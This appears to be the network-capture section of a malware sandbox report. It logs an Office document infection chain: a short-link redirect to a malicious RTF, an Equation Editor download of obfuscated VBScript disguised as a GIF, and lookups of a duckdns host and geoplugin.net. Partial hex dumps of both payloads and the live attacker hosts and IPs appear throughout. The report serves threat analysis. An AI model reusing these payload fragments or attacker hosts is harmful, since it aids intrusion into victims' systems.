                    Jul 26, 2024 13:19:07.352638960 CEST8.8.8.8192.168.2.220xc083No error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:07.352638960 CEST8.8.8.8192.168.2.220xc083No error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:07.372755051 CEST8.8.8.8192.168.2.220x1100No error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:07.372755051 CEST8.8.8.8192.168.2.220x1100No error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:20.607166052 CEST8.8.8.8192.168.2.220xb754No error (0)maveing.duckdns.org192.3.101.142A (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:21.728992939 CEST8.8.8.8192.168.2.220xb754No error (0)maveing.duckdns.org192.3.101.142A (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:22.073112011 CEST8.8.8.8192.168.2.220x2e3dNo error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false

                    HTTP Request Dependency Graph

                    • tny.wtf
                    • 192.3.176.154
                    • 198.46.176.133
                    • geoplugin.net

                    HTTP Packets

                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    0192.168.2.2249163188.114.97.3802700C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    TimestampBytes transferredDirectionData
                    Jul 26, 2024 13:18:54.028036118 CEST319OUTGET /dg4Zx HTTP/1.1
                    Accept: */*
                    UA-CPU: AMD64
                    Accept-Encoding: gzip, deflate
                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                    Host: tny.wtf
                    Connection: Keep-Alive
                    Jul 26, 2024 13:18:55.166207075 CEST718INHTTP/1.1 302 Found
                    Date: Fri, 26 Jul 2024 11:18:55 GMT
                    Transfer-Encoding: chunked
                    Connection: keep-alive
                    Location: http://192.3.176.154/50/BNC/iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings.doc
                    X-Powered-By: ASP.NET
                    CF-Cache-Status: DYNAMIC
                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3gdpwSBzLwZ%2FsoHkxkyhpEEtrNixDC5kr882wTyEKzDn04vdBPVxWxxvbXLUPiWI75vc50AilHf7ltUzKuMA1SOcHpQqKLJesWTDHCd5ofSS6450oi9HVFXb"}],"group":"cf-nel","max_age":604800}
                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                    Server: cloudflare
                    CF-RAY: 8a93fdde5a3043b3-EWR
                    alt-svc: h3=":443"; ma=86400
                    Data Raw: 30 0d 0a 0d 0a
                    Data Ascii: 0


                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    1192.168.2.2249164192.3.176.154802700C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    TimestampBytes transferredDirectionData
                    Jul 26, 2024 13:18:55.199728012 CEST453OUTGET /50/BNC/iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings.doc HTTP/1.1
                    Accept: */*
                    UA-CPU: AMD64
                    Accept-Encoding: gzip, deflate
                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                    Host: 192.3.176.154
                    Connection: Keep-Alive
                    Jul 26, 2024 13:18:55.719461918 CEST1236INHTTP/1.1 200 OK
                    Date: Fri, 26 Jul 2024 11:18:55 GMT
                    Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                    Last-Modified: Fri, 26 Jul 2024 01:14:35 GMT
                    ETag: "1845f-61e1c3c0e93df"
                    Accept-Ranges: bytes
                    Content-Length: 99423
                    Keep-Alive: timeout=5, max=100
                    Connection: Keep-Alive
                    Content-Type: application/msword
                    Data Raw: 7b 5c 72 74 66 31 0d 0d 0d 0d 0d 0d 09 09 09 09 09 09 7b 5c 6d 72 53 70 36 37 35 32 33 31 36 33 30 20 5c 3d 7d 0d 7b 5c 31 32 37 37 31 37 35 35 30 3c 3f 37 3f 5d 3f 34 29 5b 27 35 2a 3f 7e 40 2f 30 b5 24 3f 35 7c 5b 25 35 7c 3c 25 21 2f 24 30 21 36 25 35 21 34 38 2d 26 2e 5f 2b 3f 36 35 5b 23 5f b0 25 2f 34 3f 34 b5 b5 2f 5f 3f 29 2f 32 23 2e b5 b5 2b 24 3f b5 5f 34 5d 3f 26 5b 2c 3f 5d 35 25 3f 26 3f 3f 7e 3b 28 b5 b5 a7 38 b5 40 b0 3e 3f 34 38 26 27 5b 3a b5 2f 2d 3c 29 3a 3b 31 24 2d 36 34 24 32 3f 35 35 30 34 3f 3a 2a 5f 5d 3f 3f 3f 25 25 3f 3f 36 5b 21 2f 2f 32 2b 35 40 2e 35 3f 2a 32 35 30 27 25 30 3c 2d 5e 5d 39 27 b0 60 28 2e 5f 2f 33 24 3b b0 3f 31 36 3f 3e 35 2f 7c 30 30 39 3f 21 40 a7 5e b0 38 26 37 21 3f a7 25 2a 29 21 25 24 b0 32 3b 38 28 25 40 3f 5d 5f 28 a7 5d 27 2a 35 3d 24 31 31 25 3f 28 36 37 38 7c b5 b0 2a a7 7e 21 b5 3f 7e 28 3d 60 27 b0 3f 5e 40 2b 3a 23 2b 35 24 37 3f 37 29 60 2e 25 3f 27 2f 3e 7c 5b 30 36 3e 21 39 5e 28 3b 2b 28 3f b5 3f 2f 38 32 25 7c 60 3c 28 39 2b 37 7e a7 [TRUNCATED]
                    Data Ascii: {\rtf1{\mrSp675231630 \=}{\127717550<?7?]?4)['5*?~@/0$?5|[%5|<%!/$0!6%5!48-&._+?65[#_%/4?4/_?)/2#.+$?_4]?&[,?]5%?&??~;(8@>?48&'[:/-<):;1$-64$2?5504?:*_]???%%??6[!//2+5@.5?*250'%0<-^]9'`(._/3$;?16?>5/|009?!@^8&7!?%*)!%$2;8(%@?]_(]'*5=$11%?(678|*~!?~(=`'?^@+:#+5$7?7)`.%?'/>|[06>!9^(;+(??/82%|`<(9+7~1?1]@%<2^2/*^?`_.?[^/0&75#[?+#%5$7#]?41~2==8'7|3'?2`$3??^?.4<=%8:]36;):5|7+4*]%,%%!(?82_.?:|$_966?$`[46>7+??.@%:.`?+?83%2&?)-)16;?6,[!=3'7;1]%|?43=5%^%5~_46>,`)6$(,%?34,%_%&]*?`!:<9~5-9?;`$>,79%?,)&6'>6)|??)??-0^;699#/?69[94'4+1[';87#!$^@`2]>_<`355/@|^'46,.~2[9(+?-?'.1/+?-#6@.<(??<,&%*,29/4+$=;55=1!),?*5~-8_0[662'+?;5?'|0#^/^%@)?31=9?_:>%2??'`2_[_>!@]#!>|:45[?4568~!6!&26>9?96]'#[%?$2,?.=(*41/%?,5@`?]2]|(8,#4)@&(^]%<=7'(46+_?#[_=^?3;'$~+];?*$[]&?%>*?$(9_27?$+:^-2?!.;35?':~?#:@7??!2&,--1=15=[:12/11:4|91%~21#<,@)3]?03+'#!|*>~7&~686#]
                    Jul 26, 2024 13:18:55.719527006 CEST1236INData Raw: 60 5d a7 29 2d b0 3e 28 60 3d 3a 35 3c 5f 31 2a 3f 28 3f 2f 34 5f 3f 29 23 23 23 36 28 2f 29 3a 33 2a 25 2c 24 24 31 3a 29 3f 2e 31 21 27 35 3b 2b 5b 3f 5b 2a 29 27 39 2d 2f 3f 5e 36 32 30 28 7c 3c 36 34 26 40 5f 34 3f 3a 28 39 7e 23 39 60 3f 5d
                    Data Ascii: `])->(`=:5<_1*?(?/4_?)###6(/):3*%,$$1:)?.1!'5;+[?[*)'9-/?^620(|<64&@_4?:(9~#9`?]1&[1`))?>.)7:'>??_292+_'5$;6;>,|=1*|,??=?4:`5?),`6%0_-!;#*?;$,[9?7838~_;]^90;&]`.*!?:/%4_(.'(?!@_%|30#!_=%/%2,`>[;&54(#86%75$1?^?^3]?@/&_)|<5?%%:96)!!.
                    Jul 26, 2024 13:18:55.719563007 CEST1236INData Raw: 3f 7c 2b 27 31 27 27 30 2d 60 b0 5e 2e 2e 3b 21 5b 3f 5d 5e 2e 21 34 3b b5 39 3c 25 3c 5b 3a 40 3f 7e 29 3f 38 31 3d 5d a7 7e 26 28 38 a7 35 30 25 3f 3b 29 7e 29 39 29 35 2b 2c 30 a7 23 5b 37 b5 25 3e 5e b5 5d 24 2a 37 24 3f b0 3c 3a 23 25 38 3f
                    Data Ascii: ?|+'1''0-`^..;![?]^.!4;9<%<[:@?~)?81=]~&(850%?;)~)9)5+,0#[7%>^]$*7$?<:#%8?@4'(]:##=&=;]8<;/85/|._8$^_>#:)]_^?4%,-5]9&?@?';`.~9@?38=<6/[=-95<:_*~[83.-?&$3~([&~!195*14@77&,_58-;@:&=5|%~07.&^]3!*&=?7??&!3%%)0#+>3`~23%3??.:1>_/3
                    Jul 26, 2024 13:18:55.719893932 CEST1236INData Raw: 28 a7 28 32 7e 2f 32 2b 2a 3f 38 3f 60 5b 7e 7e 3f 3b 2a 39 2b 23 34 7e 5f 3f 23 2e 3a a7 3a 34 2f 5d 26 b0 3d b0 34 28 b5 40 3a b0 27 3e 3c 3f 2a 3c b5 5b 3b 24 3a 37 b0 27 3f 2f 29 5d 26 28 26 7c 3f 5b 38 5d 7c 2a 27 3a 29 b0 a7 7e 30 2c 33 2e
                    Data Ascii: ((2~/2+*?8?`[~~?;*9+#4~_?#.::4/]&=4(@:'><?*<[;$:7'?/)]&(&|?[8]|*':)~0,3.9>#4?%%?2?#*[*>5`4/+,%[$.$2=?/?-:#+[>^6(1@?$2.;~//==3[-?]@+1^?&][%6/+$#475[2=%+>:=[.[/`8?&%.$~/?4274>%64%.(*?[?2[?7;6(;3;=69$]*0(?,8==_%[('@+]3-?|$|$(
                    Jul 26, 2024 13:18:55.719929934 CEST1236INData Raw: 7e b0 3c 3f 2f 34 28 2c 40 5d 2b 7c 3f 28 38 2a 5b 2f 24 21 3d 3f 24 5b 3a 23 40 2e 2d 27 38 5d 2c b0 35 23 a7 2a 3f 36 21 37 37 3b 3a 2a 30 25 3f 25 3f 26 3f 3f 40 23 5f 32 30 39 60 b5 5e 5e 31 28 36 38 39 a7 3e 5b 3d 38 33 21 5e b5 30 3f 3f 2a
                    Data Ascii: ~<?/4(,@]+|?(8*[/$!=?$[:#@.-'8],5#*?6!77;:*0%?%?&??@#_209`^^1(689>[=83!^0??*<1:?!<>:4&?8]+;_1,:&;3*?=+0?!1:4<*#$+=_?5^;&?[#,8=^!>@4,_01?(+)1;*`~@&?0&;,'=>?&7!4/=3-'!'7%_5_??4?0?3*$1??$?118_#[@).762?7?%33&||)%_!17?'(|?.3,[<1)?!7&
                    Jul 26, 2024 13:18:55.719983101 CEST1236INData Raw: 25 25 2c 2a 26 26 24 38 3b 3a 30 23 24 21 37 23 2a 7e 40 28 3a 25 3f 37 3f 3f 27 5f 5f 40 36 3e 2b 3f 23 23 60 3f 3b 37 27 32 3c 32 37 5b 30 2c 3b 2d 7c 5d 3b 36 31 3a 28 40 38 3f 27 25 3d 3f 28 5b 2a 2a 3f 35 29 29 3f 35 2b 3e 3e 3d a7 33 7c 5b
                    Data Ascii: %%,*&&$8;:0#$!7#*~@(:%?7??'__@6>+?##`?;7'2<27[0,;-|];61:(@8?'%=?([**?5))?5+>>=3|[>+*]*']?]/??$'&56(29@+,3_???^968_?]/>>?]>%>>;>>3;,%4`|_49<4.@#=7|3`.(.0380&4#5('3#<4?90:|6)+=:~?&?2_!%>])[`?+$%.#3$|5/;80!)==@0<3.33?<^>`+-?=(?#??-
                    Jul 26, 2024 13:18:55.720016956 CEST1236INData Raw: 3f 5b 24 3b 3f 21 2e 2d 3f 25 2d 3e 26 33 2f 60 3e 5e 2f 34 3f 2c 7c 34 3f 39 3f a7 2e 32 24 2c 3f 25 3f 2b 60 24 28 3f 5e 7c 30 5e 3f 3f 29 36 3f 38 32 21 31 b0 29 3f 3c 2f 60 a7 3f 5b 36 2e 28 23 40 2e 3f 7c 7e 7c 31 37 3f 3f 28 32 36 2b 35 26
                    Data Ascii: ?[$;?!.-?%->&3/`>^/4?,|4?9?.2$,?%?+`$(?^|0^??)6?82!1)?</`?[6.(#@.?|~|17??(26+5&`4,_?$%?<%@_<7>.?6,8+.8~>[35[35)!&;?^4#9%~;`?1[%^[[=%>;)|`/%_$??(9']?/&?||^5</5%'4?7;%)-|.8%*'|?~^=%`]*?70!67$^]<^7_1=.;39?|=<+(?2?20[%<2-31<%3](^`?>,
                    Jul 26, 2024 13:18:55.720051050 CEST1236INData Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09
                    Data Ascii: {\object\MYJDTLBUXYXMHMPUQUTGPCOYGEMEBggaszswpastpkui
                    Jul 26, 2024 13:18:55.720082998 CEST1236INData Raw: 09 09 09 09 09 09 09 09 20 20 20 09 09 09 09 20 09 20 20 09 35 36 20 20 20 20 20 09 09 09 20 09 09 09 09 09 09 20 09 20 09 20 09 09 20 20 20 20 09 20 09 20 09 09 20 20 20 09 20 20 09 09 20 09 09 20 09 09 09 09 09 09 09 09 09 09 09 09 20 20 20 09
                    Data Ascii: 56 15 44
                    Jul 26, 2024 13:18:55.720119953 CEST1236INData Raw: 0d 0a 0a 0a 0a 0a 0a 0d 0a 61 30 09 09 09 09 20 09 09 09 09 20 20 20 20 09 09 20 20 20 09 09 09 20 20 09 09 20 09 20 20 20 20 09 20 20 09 20 09 09 09 09 20 09 20 20 20 20 20 20 20 20 09 20 09 20 09 20 20 20 09 20 20 09 09 09 09 20 20 09 31 09 09
                    Data Ascii: a0 1 0 81
                    Jul 26, 2024 13:18:55.724745989 CEST1236INData Raw: 09 09 20 20 09 20 20 20 09 09 09 20 09 20 20 09 09 20 20 20 20 20 20 20 09 09 09 20 09 09 20 09 20 20 09 20 09 20 09 20 09 09 20 09 20 20 20 20 20 20 09 37 0a 0a 0d 0a 0a 0a 0a 0a 0d 0d 0d 0a 0a 0a 0d 0a 0a 0a 0a 0d 0a 38 61 63 09 20 20 09 20 09
                    Data Ascii: 78ac 47 81e


                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    2192.168.2.2249165188.114.96.3803152C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    TimestampBytes transferredDirectionData
                    Jul 26, 2024 13:18:59.223956108 CEST129OUTOPTIONS / HTTP/1.1
                    User-Agent: Microsoft Office Protocol Discovery
                    Host: tny.wtf
                    Content-Length: 0
                    Connection: Keep-Alive
                    Jul 26, 2024 13:18:59.765099049 CEST558INHTTP/1.1 404 Not Found
                    Date: Fri, 26 Jul 2024 11:18:59 GMT
                    Transfer-Encoding: chunked
                    Connection: keep-alive
                    X-Powered-By: ASP.NET
                    CF-Cache-Status: DYNAMIC
                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cphZWdwEAPs7RmuAKwt3JyKS7kXEZw6droJe%2FiRwlvbpsiUSWKYvaODKiXVJd7ms9lAMlKahhw5B2aYdCeIkInGvWqH%2BiyIXiiHa501x6rwwVZEEV0Sa0EGl"}],"group":"cf-nel","max_age":604800}
                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                    Server: cloudflare
                    CF-RAY: 8a93fdfeaa3517f9-EWR
                    alt-svc: h3=":443"; ma=86400
                    Data Raw: 30 0d 0a 0d 0a
                    Data Ascii: 0
                    Jul 26, 2024 13:18:59.985436916 CEST129OUTOPTIONS / HTTP/1.1
                    User-Agent: Microsoft Office Protocol Discovery
                    Host: tny.wtf
                    Content-Length: 0
                    Connection: Keep-Alive
                    Jul 26, 2024 13:19:00.132244110 CEST572INHTTP/1.1 404 Not Found
                    Date: Fri, 26 Jul 2024 11:19:00 GMT
                    Transfer-Encoding: chunked
                    Connection: keep-alive
                    X-Powered-By: ASP.NET
                    CF-Cache-Status: DYNAMIC
                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DzlpIs5rBr%2Fc%2FVEv%2Fuc210NritVCr0QqO1%2FahkpRYvN%2FLxO7O1fqOV146HbkAEfhYt631rQQbfdtRSKOrqVzJAlTlJ%2B4W%2BGyx8fHVseo%2ByRx2wqXxm%2BUfyJt"}],"group":"cf-nel","max_age":604800}
                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                    Server: cloudflare
                    CF-RAY: 8a93fe013bb017f9-EWR
                    alt-svc: h3=":443"; ma=86400
                    Data Raw: 30 0d 0a 0d 0a
                    Data Ascii: 0
                    Jul 26, 2024 13:19:00.140654087 CEST129OUTOPTIONS / HTTP/1.1
                    User-Agent: Microsoft Office Protocol Discovery
                    Host: tny.wtf
                    Content-Length: 0
                    Connection: Keep-Alive
                    Jul 26, 2024 13:19:00.282799006 CEST564INHTTP/1.1 404 Not Found
                    Date: Fri, 26 Jul 2024 11:19:00 GMT
                    Transfer-Encoding: chunked
                    Connection: keep-alive
                    X-Powered-By: ASP.NET
                    CF-Cache-Status: DYNAMIC
                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ULuTuMWA9fR9fCyohmEj99q0hbyTR%2Bww77M81oDfOUYMX8dVNEcOmb0xjYpiU2f40q37OJ7eN%2FKe63ImgaL61PVzSCQUO1qQW4QMa%2BNxQw%2BLp91SC%2Bc9ppBU"}],"group":"cf-nel","max_age":604800}
                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                    Server: cloudflare
                    CF-RAY: 8a93fe022c4317f9-EWR
                    alt-svc: h3=":443"; ma=86400
                    Data Raw: 30 0d 0a 0d 0a
                    Data Ascii: 0
                    Jul 26, 2024 13:19:11.050141096 CEST132OUTHEAD /dg4Zx HTTP/1.1
                    User-Agent: Microsoft Office Existence Discovery
                    Host: tny.wtf
                    Content-Length: 0
                    Connection: Keep-Alive
                    Jul 26, 2024 13:19:11.194905996 CEST548INHTTP/1.1 405 Method Not Allowed
                    Date: Fri, 26 Jul 2024 11:19:11 GMT
                    Connection: keep-alive
                    Allow: GET
                    X-Powered-By: ASP.NET
                    CF-Cache-Status: DYNAMIC
                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bc3ri%2BnD0KS1aGpIogg9IEbIMVCOmfLjL1407WEEjlKahBki1Ig0NCamghoI7NhWZL9o5OzesmysRLAyCU122EEDDXEBuns3PJN2onu1kBQtE%2F42EUA%2BmhoQ"}],"group":"cf-nel","max_age":604800}
                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                    Server: cloudflare
                    CF-RAY: 8a93fe46581b17f9-EWR
                    alt-svc: h3=":443"; ma=86400


                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    3192.168.2.2249166188.114.96.3803152C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    TimestampBytes transferredDirectionData
                    Jul 26, 2024 13:19:03.341110945 CEST113OUTHEAD /dg4Zx HTTP/1.1
                    Connection: Keep-Alive
                    User-Agent: Microsoft Office Existence Discovery
                    Host: tny.wtf
                    Jul 26, 2024 13:19:03.900804043 CEST556INHTTP/1.1 405 Method Not Allowed
                    Date: Fri, 26 Jul 2024 11:19:03 GMT
                    Connection: keep-alive
                    Allow: GET
                    X-Powered-By: ASP.NET
                    CF-Cache-Status: DYNAMIC
                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WvGW78PMY1kKMKSdLWrmC0KyzNbsm%2F%2BRvzo%2Bup%2BMECr80VO%2FPSibzkFG8gtL55cHTzEBybkBeOimIkXxxW2XgS8WyBJ%2Fr7ozAwV00bF09rLOE6r4BgX%2FIx8g"}],"group":"cf-nel","max_age":604800}
                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                    Server: cloudflare
                    CF-RAY: 8a93fe187df9c33b-EWR
                    alt-svc: h3=":443"; ma=86400
                    Jul 26, 2024 13:19:04.111459017 CEST556INHTTP/1.1 405 Method Not Allowed
                    Date: Fri, 26 Jul 2024 11:19:03 GMT
                    Connection: keep-alive
                    Allow: GET
                    X-Powered-By: ASP.NET
                    CF-Cache-Status: DYNAMIC
                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WvGW78PMY1kKMKSdLWrmC0KyzNbsm%2F%2BRvzo%2Bup%2BMECr80VO%2FPSibzkFG8gtL55cHTzEBybkBeOimIkXxxW2XgS8WyBJ%2Fr7ozAwV00bF09rLOE6r4BgX%2FIx8g"}],"group":"cf-nel","max_age":604800}
                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                    Server: cloudflare
                    CF-RAY: 8a93fe187df9c33b-EWR
                    alt-svc: h3=":443"; ma=86400


                    Session IDSource IPSource PortDestination IPDestination Port
                    4192.168.2.2249167188.114.97.380
                    TimestampBytes transferredDirectionData
                    Jul 26, 2024 13:19:10.377005100 CEST124OUTOPTIONS / HTTP/1.1
                    Connection: Keep-Alive
                    User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
                    translate: f
                    Host: tny.wtf
                    Jul 26, 2024 13:19:10.971007109 CEST566INHTTP/1.1 404 Not Found
                    Date: Fri, 26 Jul 2024 11:19:10 GMT
                    Transfer-Encoding: chunked
                    Connection: keep-alive
                    X-Powered-By: ASP.NET
                    CF-Cache-Status: DYNAMIC
                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d5IkLdr8tkxZzHEAF0454Uml5y0bA30DS%2FtJV4ybYz9iSALKb%2Bi6q6d7Pdo6%2FLadJWH%2Fp7eOA0Uxe5aeu2FatugOy2w4x0uQ5HzizxOGjipvY3%2F%2BKCbXMMJ0"}],"group":"cf-nel","max_age":604800}
                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                    Server: cloudflare
                    CF-RAY: 8a93fe447efac46b-EWR
                    alt-svc: h3=":443"; ma=86400
                    Data Raw: 30 0d 0a 0d 0a
                    Data Ascii: 0
                    Jul 26, 2024 13:19:11.183284044 CEST566INHTTP/1.1 404 Not Found
                    Date: Fri, 26 Jul 2024 11:19:10 GMT
                    Transfer-Encoding: chunked
                    Connection: keep-alive
                    X-Powered-By: ASP.NET
                    CF-Cache-Status: DYNAMIC
                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d5IkLdr8tkxZzHEAF0454Uml5y0bA30DS%2FtJV4ybYz9iSALKb%2Bi6q6d7Pdo6%2FLadJWH%2Fp7eOA0Uxe5aeu2FatugOy2w4x0uQ5HzizxOGjipvY3%2F%2BKCbXMMJ0"}],"group":"cf-nel","max_age":604800}
                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                    Server: cloudflare
                    CF-RAY: 8a93fe447efac46b-EWR
                    alt-svc: h3=":443"; ma=86400
                    Data Raw: 30 0d 0a 0d 0a
                    Data Ascii: 0


                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    5192.168.2.2249168192.3.176.154803408C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                    TimestampBytes transferredDirectionData
                    Jul 26, 2024 13:19:11.526165009 CEST338OUTGET /50/screensimplethingstohandlecream.gIF HTTP/1.1
                    Accept: */*
                    Accept-Encoding: gzip, deflate
                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                    Host: 192.3.176.154
                    Connection: Keep-Alive
                    Jul 26, 2024 13:19:12.056664944 CEST1236INHTTP/1.1 200 OK
                    Date: Fri, 26 Jul 2024 11:19:11 GMT
                    Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                    Last-Modified: Fri, 26 Jul 2024 03:41:57 GMT
                    ETag: "652f2-61e1e4b0be7df"
                    Accept-Ranges: bytes
                    Content-Length: 414450
                    Keep-Alive: timeout=5, max=100
                    Connection: Keep-Alive
                    Content-Type: image/gif
                    Data Raw: ff fe 64 00 69 00 6d 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 20 00 0d 00 0a 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 20 00 3d 00 20 00 72 00 6f 00 6d 00 70 00 65 00 6e 00 74 00 65 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 67 00 61 00 6e 00 64 00 75 00 6d 00 22 00 29 00 20 00 26 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 6d 00 75 00 63 00 75 00 6e 00 68 00 61 00 6d 00 62 00 61 00 6d 00 62 00 65 00 22 00 29 00 20 00 26 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 78 00 61 00 6a 00 61 00 22 00 29 00 20 00 26 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 69 00 6e 00 64 00 6f 00 63 00 69 00 6c 00 69 00 64 00 61 00 64 00 65 00 22 00 29 00 20 00 26 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 20 00 26 00 20 00 [TRUNCATED]
                    Data Ascii: dim morula morula = rompentemonopso("gandum") & morula & _monopso("mucunhambambe") & morula & _monopso("xaja") & morula & _monopso("indocilidade") & morula & _monopso("X_HelpUris_005_0_Message") & morula & _monopso("gassaba") & morula & _monopso("encovilar") & morula & _monopso("X_HelpUris_008_0_Message") & morula & _monopso("X_HelpUris_009_0_Message") & morula & _monopso("X_HelpUris_010_0_Message") & morula & _monopso("L_HelpUris_0
                    Jul 26, 2024 13:19:12.056730986 CEST1236INData Raw: 31 00 31 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 4c 00 5f 00 48 00
                    Data Ascii: 11_0_Message") & morula & _monopso("L_HelpUris_012_0_Message") & morula & _monopso("X_HelpUris_013_0_Message") & morul
                    Jul 26, 2024 13:19:12.056766987 CEST1236INData Raw: 6f 00 72 00 75 00 6c 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 58 00 5f 00 48 00 65 00 6c 00 70 00 55 00 72 00 69 00 73 00 5f 00 30 00 31 00 35 00 5f 00 38 00 5f 00 4d 00 65 00 73 00 73 00
                    Data Ascii: orula & _monopso("X_HelpUris_015_8_Message") & morula & _monopso("L_HelpUris_015_9_Message") & morula & _monopso("L_
                    Jul 26, 2024 13:19:12.056875944 CEST1236INData Raw: 30 00 30 00 32 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00 6f 00 28 00 22 00 4c 00
                    Data Ascii: 002_0_Message") & morulaE & _monopso("L_HelpAlias_003_0_Message") & morulaE & _monopso("X_HelpAlias_004_0_Message") &
                    Jul 26, 2024 13:19:12.056910038 CEST1236INData Raw: 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 31 00 34 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00
                    Data Ascii: Alias_014_0_Message") & morulaE & _monopso("X_HelpAlias_015_0_Message") & morulaE & _monopso("phylloxera") & morulaE &
                    Jul 26, 2024 13:19:12.056981087 CEST1236INData Raw: 61 00 73 00 5f 00 30 00 30 00 38 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 65 00 6d 00 6f 00 72 00 75 00 6c 00 61 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 6d 00 6f 00 6e 00 6f 00 70 00 73 00
                    Data Ascii: as_008_0_Message") & emorulaE & _monopso("X_HelpAlias_009_0_Message") & emorulaE & _monopso("L_HelpAlias_010_0_Message
